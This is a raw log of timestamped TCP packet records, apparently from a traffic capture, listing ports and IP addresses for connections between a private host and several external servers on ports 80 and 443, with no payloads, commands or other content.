Dec 18, 2024 19:08:24.475752115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.475855112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.475857973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.476421118 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.476624966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.476742029 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.476838112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.477543116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.477700949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.478442907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.478466988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.478576899 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.478672028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.479377985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.479501963 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.479612112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.480302095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.480452061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.480674982 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.481195927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.481306076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.481389999 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.482106924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.482208014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.482306957 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.483072042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.483222961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.483259916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.483949900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.484044075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.484072924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.484271049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.484936953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.485037088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.485088110 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.485830069 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.485963106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.486078024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.486733913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.486856937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.486944914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.487579107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.487675905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.487775087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.488548040 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.488854885 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.488917112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.489460945 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.489532948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.489922047 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.490375996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.490411997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.490482092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.491401911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.491596937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.491619110 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.492328882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.492378950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.492409945 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.492536068 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.493410110 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.493539095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.493733883 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.494101048 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.494225025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.494537115 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.494947910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.495042086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.495214939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.495830059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.495935917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.495954990 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.496299982 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.496723890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.496783018 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.496851921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.497677088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.497728109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.497807026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.498605967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.498687029 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.498819113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.498819113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.499470949 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.499588966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.499687910 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.500391006 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.500577927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.500654936 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.501326084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.501411915 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.501493931 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.502258062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.502315044 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.502393961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.503130913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.503231049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.503251076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.504089117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.504167080 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.504184961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.504223108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.505017996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.505143881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.505193949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.505871058 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.506041050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.506337881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.506829977 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.507044077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.507339954 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.507735968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.507971048 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.508064985 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.508641005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.508752108 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.508888960 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.509588957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.509671926 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.509872913 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.510624886 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.510730028 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.510809898 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.511805058 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.511936903 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.512098074 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.516978025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.517131090 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.517294884 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.517441034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.517585039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.517636061 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.518361092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.518434048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.518448114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.519243002 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.519328117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.659465075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.659562111 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.659575939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.659627914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.659800053 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.660012960 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.660070896 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.660839081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.660932064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.661019087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.661665916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.661817074 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.661878109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.662560940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.662611961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.662667990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.663492918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.663546085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.663602114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.664232016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.664381981 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.664527893 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.664573908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.665354967 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.665465117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.665512085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.666213989 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.666312933 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.666368008 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.667152882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.667262077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.667270899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.668071032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.668158054 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.668167114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.668237925 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.668972015 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.669095993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.669203997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.669895887 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.670058012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.670119047 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.670774937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.670861959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.670914888 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.671695948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.671777964 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.671807051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.672261953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.672605991 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.672717094 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.672723055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.673091888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.673600912 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.673733950 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.673841953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.674458027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.674560070 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.674647093 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.675350904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.675396919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.675486088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.676311016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.676316977 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.676359892 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.676422119 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.676457882 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.677237034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.677300930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.677308083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.677345037 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.891165018 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:24.891360998 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:25.414755106 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:25.414839029 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:25.415148973 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:25.430098057 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:25.430123091 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:25.430192947 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:27.616349936 CET	49722	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:27.616960049 CET	49725	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:27.736651897 CET	80	49725	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:27.736785889 CET	49725	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:27.737346888 CET	80	49722	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:27.737438917 CET	49722	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:28.069560051 CET	49725	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:28.190761089 CET	80	49725	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:29.114770889 CET	80	49725	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:29.114901066 CET	49725	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:29.116321087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:29.116660118 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:29.236423016 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:29.236709118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:29.236833096 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:29.236849070 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:29.237103939 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:29.356587887 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.565480947 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.565582037 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.565598011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.565609932 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.565668106 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.566088915 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566101074 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566112041 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566123962 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566153049 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.566184998 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.566929102 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566941023 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566951036 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.566998959 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.686454058 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.686548948 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.686641932 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.690233946 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.690910101 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.757788897 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.757922888 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.758003950 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.761972904 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.762032986 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.762099981 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.770366907 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.773477077 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.773546934 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.773605108 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.773653984 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.781867027 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.781927109 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.781992912 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.790447950 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.790551901 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.790622950 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.798665047 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.798779964 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.798862934 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.806996107 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.807158947 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.807224035 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.815577030 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.815634012 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.815700054 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.823862076 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.823925972 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.823976994 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.831509113 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.831644058 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.831650972 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.831701994 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.839200974 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.839277029 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.839359045 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.879729033 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.880431890 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.954518080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.954544067 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.954638958 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.955883980 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.955943108 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.956005096 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.960799932 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.960880995 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.960952997 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.964216948 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.964303017 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.964354992 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.969410896 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.969508886 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.969548941 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.973660946 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.973794937 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.973869085 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.978205919 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.978359938 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.978368998 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.982251883 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.982851028 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.983053923 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.983107090 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.987433910 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.987518072 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.987571955 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.991734028 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.991868973 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.991928101 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:30.996305943 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.996437073 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:30.996490955 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.000796080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.000912905 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.000977039 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.005361080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.005465984 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.005522013 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.009931087 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.010014057 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.010066986 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.013767004 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.013844013 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.013904095 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.017611980 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.017728090 CET	80	49726	31.41.244.11	192.168.2.5
